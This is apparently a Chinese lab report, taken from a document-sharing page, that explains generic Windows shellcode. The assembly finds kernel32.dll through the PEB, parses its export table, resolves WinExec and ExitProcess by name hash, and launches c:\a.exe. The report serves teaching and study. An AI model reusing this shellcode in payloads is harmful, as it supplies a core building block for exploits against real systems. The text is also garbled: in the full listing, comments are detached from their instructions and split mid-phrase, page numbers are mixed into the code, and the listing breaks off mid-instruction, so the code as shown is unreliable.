实验报告模板 联系客服

发布时间 : 星期六 文章实验报告模板更新完毕开始阅读5bc024e4172ded630b1cb612

以上代码实现函数名称表绝对地址的查找。首先根据kerne32.dll的加载

基址和相应的偏移量取得导出表的相对偏移量,然后依次取得导出表绝对地址、函数名称表相对偏移量、函数名称表绝对地址。

xor edi,edi ;将edi置零用于记录已查找函数的总数 next_function_loop: inc edi mov esi,[ebx + edi * 4] add esi,ebp cdq ;增加已查找函数的总数 ;esi = 当前函数名的相对扁移量 ;esi = 当前函数名的绝对地址 以上代码实现函数名绝对地址的获取。首先将edi寄存器清零,用于已查找函数个数的统计,将edi自增一,代码mov esi,[ebx + edi * 4]中的4代表一个函数名地址占用四个字节,结合保存于ebx中函数名称表绝对地址依次获得当前函数名的相对偏移量、当前函数名的绝对地址。 5.4.函数地址查找功能实现

查找函数地址,首先将搜索到的函数名进行hash运算,然后与欲搜索函

数的hash比较,若匹配,则根据函数地址导出表确定函数地址。

hash_loop: movsx eax,byte ptr[esi] cmp al,ah jz compare_hash ror edx,7 add edx,eax inc esi jmp hash_loop 以上代码实现函数名hash值的运算。将字符串中的字符逐一取出,把ASCII码从单字节转换成四字节的双字,循环右移7位后再进行累积。

compare_hash:

cmp edx,[esp + 0x1c] ;将欲查找函数的hash(已通过pushad压入栈中)与10

当前函数hash比较 jnz next_function_loop ;若hash不相等则继续查找下一个函数 ;查找函数地址 mov ebx,[ecx + 0x24] ;ebx = 函数序号表的相对偏移量 add ebx,ebp ;ebx = 函数序号表的绝对地址 mov di,[ebx + 2 * edi] ;di = 已匹配函数的序号 mov ebx,[ecx + 0x1c] ;ebx = 函数地址表的相对偏移量 add ebx,ebp ;ebx = 函数地址表的绝对地址 add ebp,[ebx + 4 * edi] ;将模块基址ebp与已匹配函数的相对偏移量相加 xchg eax,ebp ;将已匹配函数地址存入eax pop edi ;在pushad指令中edi最后一个被压入栈中,此处恢复edi = 用于保存已查找到的函数地址的地址 stosd ;将已匹配函数的地址写入edi指向的地址处并将edi增一 push edi ;更新原先保存到栈中的edi的值 popad ;恢复8个32位通用寄存器的值 cmp eax,0x01a22f51 ;判断是否已经查找了最后一个函数的地址 jne find_lib_functions ;若不是最后一个函数则继续查找 以上代码实现函数hash值的比对和函数地址的查找。将欲查找函数的hash(已通过pushad压入栈中)与当前函数hash比较,若hash不相等则继续查找下一个函数。若相等则查找函数地址,寄存器edi中保存了当前函数在函数名称表中的序号,根据edi的值在函数序号表中找到该函数在函数地址表中的序号,最后找到函数的地址。判断是否已经查找了最后一个函数的地址,若不是最后一个函数则继续查找。 5.5.函数调用功能实现

根据先前保存的查找到的函数地址,在栈中压入相应的参数,实现函

数调用。

function_call:

xor ebx,ebx push ebx push 0x6578652e push 0x615c3a63 mov eax,esp ;将字符串截断符压入栈中 ;将字符串c:\\a.exe压入栈中 ;将字符串c:\\a.exe的地址存入eax 11

push ebx push eax call [edi - 0x04] push ebx call [edi - 0x08] ;将参数0压入栈中 ;将参数字符串c:\\a.exe的地址压入栈中 ;调用WinExec ;调用ExitProcess 以上代码实现以查找到的API调用。此处实现调用c:\\a.exe,依次将字符串截断符、字符串c:\\a.exe、参数0、参数字符串c:\\a.exe的地址压入栈中,然后调用WinExec。最后将参数0压入栈中,调用ExitProcess退出shellcode。 通用shellcode实现的完整代码如下所示:

int main() { _asm{ CLD push 0x01a22f51 push 0x4fd18963 mov esi,esp lea edi,[esi - 0x8] xor ebx,ebx 码0x00 mov bh,0x04 sub esp,ebx xor edx,edx 器码中直接出现机器码0x00 mov ebx,fs:[edx + 0x30] mov ebx,[ebx + 0x0c] mov ebx,[ebx + 0x1c] next_module: mov ebp,[ebx + 0x08] mov ecx,[ebx + 0x20] mov ebx,[ebx] cmp [ecx + 12*2],dx '\\0',unicode编码中一个字符占2个字节 jne next_module find_lib_functions:

;增量标志DF清零 ;将欲查找函数的hash压入栈中 ;函数WinExec的hash ;函数ExitProcess的hash ;esi = 函数LoadLibraryA的hash地址 ;edi = 用于保存已查找到的函数地址的地址 ;抬高栈顶 ;将ebx设置为0x00000000,避免直接出现机器 ;查找kernel32.dll的加载基址 ;通过将ebx设置为0x00000000,避免下一条机;ebx = PEB基址 ;ebx = PEB_LDR_DATA基址 ;ebx = 指向模块初始化链表的第一个节点 ;ebp = 当前模块基址 ;ecx = 当前模块名称 ;ebx = 下一节点地址 ;判断当前模块名称的第十三个字符是否为 ;继续到下一节点中查找 12

lodsd ;将下一个函数的hash载入eax并且esi增一 pushad ;将EAX、ECX、EDX、EBX、指令执行前的ESP、EBP、ESI、EDI依次压入栈中 mov eax,[ebp + 0x3c] ;eax = PE header的起始地址 mov ecx,[ebp + eax+0x78] ;ecx = 导出表的相对偏移量 add ecx,ebp ;ecx = 导出表的绝对地址 mov ebx,[ecx + 0x20] ;ebx = 函数名称表的相对偏移量 add ebx,ebp ;ebx = 函数名称表的绝对地址 xor edi,edi ;将edi置零用于记录已查找函数的总数 next_function_loop: inc edi ;增加已查找函数的总数 mov esi,[ebx + edi * 4] ;esi = 当前函数名的相对扁移量 add esi,ebp ;esi = 当前函数名的绝对地址 cdq hash_loop: movsx eax,byte ptr[esi] cmp al,ah jz compare_hash ror edx,7 add edx,eax inc esi jmp hash_loop compare_hash: cmp edx,[esp + 0x1c] ;将欲查找函数的hash(已通过pushad压入栈中)与当前函数hash比较 jnz next_function_loop ;若hash不相等则继续查找下一个函数 ;查找函数地址 mov ebx,[ecx + 0x24] ;ebx = 函数序号表的相对偏移量 add ebx,ebp ;ebx = 函数序号表的绝对地址 mov di,[ebx + 2 * edi] ;di = 已匹配函数的序号 mov ebx,[ecx + 0x1c] ;ebx = 函数地址表的相对偏移量 add ebx,ebp ;ebx = 函数地址表的绝对地址 add ebp,[ebx + 4 * edi] ;将模块基址ebp与已匹配函数的相对偏移量相加 xchg eax,ebp ;将已匹配函数地址存入eax pop edi ;在pushad指令中edi最后一个被压入栈中,此处恢复edi = 用于保存已查找到的函数地址的地址 stosd ;将已匹配函数的地址写入edi指向的地址处并13